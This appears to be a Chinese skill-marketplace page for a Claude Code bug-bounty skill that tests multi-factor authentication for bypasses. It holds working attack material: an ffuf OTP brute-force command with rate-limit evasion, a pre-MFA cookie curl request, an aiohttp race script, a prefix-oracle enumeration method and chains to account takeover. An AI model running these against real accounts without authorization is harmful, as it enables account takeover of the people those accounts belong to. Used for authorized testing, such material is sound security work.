mcpField
H
hunt-mfa-bypass

hunt-mfa-bypass

github.com/elementalsouls安全5.3k280 次安装今天更新
代码仓库

关于 hunt-mfa-bypass

hunt-mfa-bypass 是用于发现多因素认证流程弱点的安全测试技能。它优先检查跳过流程、OTP 重放和验证缺陷,并涵盖相关绕过模式。

主要功能

  1. 01测试跳过 MFA 流程步骤
  2. 02检查 OTP 重放与验证行为
  3. 03识别部分响应泄露的 OTP 预言机
  4. 04涵盖速率限制、竞态和备用码
  5. 05将绕过测试关联到其他安全技能

适用场景

  1. 01检查 MFA 前会话能否访问受保护数据
  2. 02测试已使用的 OTP 是否可再次接受
  3. 03评估响应是否泄露正确的 OTP 前缀
  4. 04检查备用码复用与 MFA 验证竞态

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/elementalsouls/claude-bughunter --skill hunt-mfa-bypass

安装后在 Claude Code 中输入/hunt-mfa-bypass确认已加载。

详细介绍

自主测试优先级

先尝试绕过工作流,再尝试暴力破解——前者更快,也更有可能成功。

模式 1 — 完全跳过 MFA 步骤(最容易自动化):

  1. 使用有效凭据登录 → 获得「MFA 前」会话状态
  2. 不完成 MFA,直接访问受保护的资源(/dashboard、/api/me、/account/profile)
  3. 如果响应返回用户数据 → MFA 仅在 UI 中强制执行,而非在服务器端强制执行 = 严重

模式 2 — 重放 OTP(重用已使用的代码):

  1. 完成有效的 MFA 流程,获取可用的 OTP
  2. 登出,然后使用相同凭据再次登录
  3. 再次提交相同的 OTP
  4. 如果被接受 → OTP 使用后未失效

模式 3 — 提交明显错误的 OTP,观察响应: 尝试提交 000000 或 123456。如果响应状态为 200 或返回会话令牌,则 OTP 验证已失效或仅在客户端进行。

模式 4 — 部分 / 增量验证(前缀预言机): 如果猜测的完整代码被拒绝,请测试服务器是否按前缀逐位验证 OTP,而不是一次性整体验证。提交较短的部分代码并比较响应:

  1. 提交 1–3 位数字(例如 otp=1,然后 otp=12,依此类推)——对于 POST 验证端点,代码应放在请求正文中,而不是 URL 查询字符串中,否则服务器会读取到空值。
  2. 如果正确前缀与错误前缀的响应不同(成功 / 标记、不同的消息,或不同的长度 / 耗时),则验证器会逐段泄露正确性。
  3. 逐位遍历代码:保留「响应正确」的前缀,追加 0–9,然后重复。这样可将 10^6 次暴力猜测缩减至约 10×N 次(6 位代码最多 60 次)——在有限测试中完全可行。 当没有泄露代码,且不存在跳过 / 重放路径时,这是首选方法。有些应用只要任意前缀正确就会判定成功(因此只要第一位正确就可能成功——放弃前,先遍历 otp=0,1,…,9)。 关键 — 始终使用同一个会话: 重新认证(再次 POST /…/login)会重新生成 OTP,导致之前的前缀进度作废。整个遍历过程都应针对同一个已建立的 MFA 会话;猜测之间绝不要重新登录。

关于完整暴力破解: 在有限测试中,暴力尝试全部 10^6 个代码并不可行——但上述前缀预言机(模式 4)通常可以避免这种情况。只有在有证据表明没有速率限制且密钥空间较小时,才尝试完整暴力破解。

证明: 无需完成 MFA,响应中就返回会话令牌或受保护的资源数据,即可确认存在绕过。


19. MFA / 2FA 绕过

日益常见的漏洞类型——有 7 种不同模式。若无需先前会话即可导致账户接管(ATO),风险等级为高 / 严重。

模式 1:OTP 无速率限制
# Test with ffuf — all 1M 6-digit codes
ffuf -u "https://target.com/api/verify-otp" \
  -X POST -H "Content-Type: application/json" \
  -H "Cookie: session=YOUR_SESSION" \
  -d '{"otp":"FUZZ"}' \
  -w <(seq -w 000000 999999) \
  -fc 400,429 -t 5
# -t 5 (slow down) — aggressive rates get 429 or ban
模式 2:OTP 使用后未失效
1. Login → receive OTP "123456" → enter it → success
2. Logout → login again with same credentials
3. Try OTP "123456" again
4. If accepted → OTP never invalidated = ATO (attacker sniffs OTP once, reuses forever)
模式 3:响应操纵
1. Enter wrong OTP → capture response in Burp
2. Change {"success":false} → {"success":true} (or 401 → 200)
3. Forward → if app proceeds → client-side only MFA check
模式 4:跳过 MFA 步骤(工作流绕过)
# After entering password, app sets a "pre-mfa" cookie → redirects to /mfa
# Test: skip /mfa entirely, access /dashboard directly with pre-mfa cookie
# If app grants access without MFA = auth flow bypass = Critical
curl -s -b "session=PRE_MFA_SESSION" https://target.com/dashboard
模式 5:MFA 验证竞态
import asyncio, aiohttp

async def verify(session, otp):
    async with session.post("https://target.com/api/mfa/verify",
                            json={"otp": otp}) as r:
        return r.status, await r.text()

async def race():
    cookies = {"session": "YOUR_SESSION"}
    async with aiohttp.ClientSession(cookies=cookies) as s:
        # Fire ~30 concurrent submissions of the SAME OTP to hit the TOCTOU
        # window before the server marks it used. Two requests are NOT enough —
        # they almost always resolve sequentially as "already-used" (false negative).
        # Best done as a single-packet / 20+ HTTP-2-stream attack (Turbo Intruder).
        results = await asyncio.gather(*[verify(s, "123456") for _ in range(30)])
        # Race confirmed if >1 success (or 1 success among many "already-used").
        for status, body in results:
            print(status, body)
asyncio.run(race())
模式 6:备用代码暴力破解
Backup codes: typically 8 alphanumeric = 36^8 = ~2.8T (too large)
BUT: check if backup codes are only 6-8 digits = 1-10M range = feasible with no rate limit
Also test: can backup codes be reused after exhaustion? Some apps regenerate predictably.
模式 7:「记住此设备」信任升级
1. Complete MFA once on Device A (attacker's browser)
2. Capture the "remember device" cookie
3. Present that cookie from a new IP/browser
4. If MFA skipped = device trust not bound to IP/UA = ATO from any location
MFA 链式升级
Rate limit bypass + no lockout = ATO (Critical)
Response manipulation = client-side only check = Critical
Skip MFA step = auth flow bypass = Critical
OTP reuse = persistent session hijack = High

相关技能与攻击链

  • hunt-ato — 绕过 MFA 是一种基础手段;ATO 才是最终目的。攻击链基础:窃取 Cookie(通过 XSS 或会话固定)+ 密码验证预言机(登录响应的时间/长度差异会泄露有效密码,且不会触发锁定)+ 修改密码接口不要求再次进行 MFA 验证 = 无需面对 OTP 挑战即可持续控制账户 → 更改密码,攻击者将受害者锁定在账户之外。
  • hunt-race-condition — 模式 5(OTP 竞态)属于竞态条件范畴;同时加载这两项技能。攻击链基础:在服务器将 6 位 OTP 标记为已使用前,通过 20 个并行 HTTP/2 流提交同一个 OTP(使用 Turbo Intruder 发起单包攻击)→ 1 次成功 + 19 次“已使用” → 确认存在竞态窗口 → 攻击者无需暴力破解,只需猜测一次并行提交 → ATO。
  • hunt-auth-bypass — 跳过 MFA 步骤属于工作流层面的认证流程绕过。攻击链基础:密码步骤完成后签发预 MFA Cookie + 直接访问 /dashboard,跳过 /mfa 路由 + 服务器仅对 /mfa 设置中间件门控,而未对 /dashboard 设置 = 仅凭密码状态即可获得完整的认证后访问权限 → 路由门控位置错误,导致 MFA 从未得到强制执行。
  • hunt-misc — 通过 /api/me 泄露恢复码属于杂项类别的信息泄露,串联攻击链后会升级为严重级别。攻击链基础:/api/me 返回完整的用户对象,其中包含 backup_codes 数组(明文存储,且从不轮换)→ 攻击者通过任意读取型 IDOR 或 XSS 窃取备份码 → 使用一个备份码 → 通过 MFA 验证 → 无需知道 OTP 即可实现 ATO。
  • security-arsenal — 提取 OTP 暴力破解载荷章节(000000-999999 字典生成器、使用 -t 5 -p 0.5-2 的 ffuf 速率限制规避模式、通过 proxychains 轮换分布式 IP),以及 JWT 令牌重放表格,适用于“已通过 MFA”这一声明位于可伪造的 JWT 声明中的情况。
  • triage-validation — 在将仅适用于攻击者已拥有密码时才能生效的 MFA 绕过报告为严重级别之前,先执行严重性预审。独立的 MFA 绕过为高危;与密码验证预言机串联为严重;仅与 Cookie 窃取串联也为严重。判断攻击链的问题可以区分这两种情况。

评论

支持 Markdown